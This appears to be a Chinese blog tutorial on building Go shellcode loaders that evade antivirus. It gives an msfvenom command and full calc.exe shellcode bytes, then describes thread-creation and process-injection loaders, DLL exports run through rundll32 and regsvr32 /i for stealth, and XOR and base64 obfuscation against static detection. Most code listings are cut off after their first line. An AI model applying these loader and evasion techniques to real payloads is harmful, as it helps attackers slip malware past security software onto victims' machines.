golang shellcode免杀
获得原始shellcode
注意:生成shellcode时需要根据系统架构选择x86或者x64位shellcode,否则可能无法执行或者导致注入的原始进程崩溃。
msfvenom
弹出计算机测试使用的shellcode:
1 | msfvenom -p windows/x64/exec CMD=calc.exe -f csharp |
1 | byte[] buf = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; |
cobalt strike
此时替换斜杠
为,0
此时得到可以放入golang的shellcode
需要用到的包
“golang.org/x/sys/windows” 提供系统函数调用支持,可以直接操作系统底层接口,提供dll函数调用支持。
“golang.org/x/sys/syscall” Syscall可能被弃用,但仍然是一种依赖,可以直接利用,是系统底层包,根据系统的不同,该包各不相同。
“unsafe” 用来直接操作系统内存。
“github.com/mitchellh/go-ps” 用来操作进程
“C” 启用CGO特性,为了导出dll
原理
一个简单的shellcode加载器应该有以下几个部分:读取并处理shellcode、调用win api为shellcode分配内存、将shellcode写入内存,最后执行内存中的shellcode。
shellcode的多种加载方式
直接系统调用|创建线程
1 | /* |
进程注入
1 | package runsc |
DLL白名单
先决条件
使用CGI编译成DLL,需要提前安装mingw,线程模型务必选择win32
已经安装的,使用cpp -v
查看
普通Dll导出
定义一个函数,加载shellcode,然后导出该函数,封装到dll中,下面代码中Calc函数为CGO导出的函数,首先需要import “C”,然后在要导出的DLL前添加导出标记://export <函数名>
,需要被导出的函数首字母需要大写。
1 | /* |
编译go源码,导出为gosc.dll:
1 | go build -buildmode=c-shared -o gosc.dll .\main.go |
命令执行后,会生成gosc.h文件:
可以使用dumpbin查看dll中封装的函数,dumpbin在安装visual studio时,可以勾选windows开发环境以及c++支持自动安装。
1 | dumpbin.exe -exports <dll路径> |more |
此时可以使用rundll32.exe或者regsvr32.exe执行dll中方法。
1 | rundll32.exe gosc.dll,Calc |
导出支持REGSVR32的DLL
regsvr32运行dll则不需要加任何参数,但是对DLL的入口点有要求,需要DLL有四个入口点,这四个入口点不一定都使用,但是必须存在,我们可以只使用其中一个,四个点的返回值都是true,这四个入口点分别是:EntryPoint
,DllRegisterServer
,DllUnregisterServer
,DllInstall
,视频中推荐使用DllInstall
1 | 使用DllInstall//export EntryPoint |
在四个入口点分别有不同的参数去调用不同入口点,如果在DllInstall
入口点,则使用/i
参数调用
1 | regsvr32 /i <Dll路径> |
其他入口点请查阅帮助:
dll文件本身和普通的pe文件就有很大区别,本身就可以过很多杀软,当使用DllInstall入口时,就更加隐蔽了。
shellcode混淆,去除shellcode特征
XOR加密
如果将shellcode直接写入加载器编译,那么很容易就被杀软静态分析出来,所以这里需要对shellcode混淆,在程序执行的时候再将shellcode解密,目前比较简单的是xor加解密,也就是异或加解密,具体原理不赘述,百度搜索异或交换
即可得到清晰明了的原理。
将[]byte逐位异或,也就是单字节xor加解密:
1 | // 单字节xor加解密 |
buf就是shellcode,xorchar就是key,因为是xor加密,所以既可以用来加密也可以用来解密,百度搜索异或交换
即可得到清晰明了的原理。
base64编码shellcode
1 | // base64加解 |
还可以通过base64编码进一步加解密shellcode
关于动态免杀
关于动态免杀原理和指南:
https://labs.withsecure.com/blog/bypassing-windows-defender-runtime-scanning/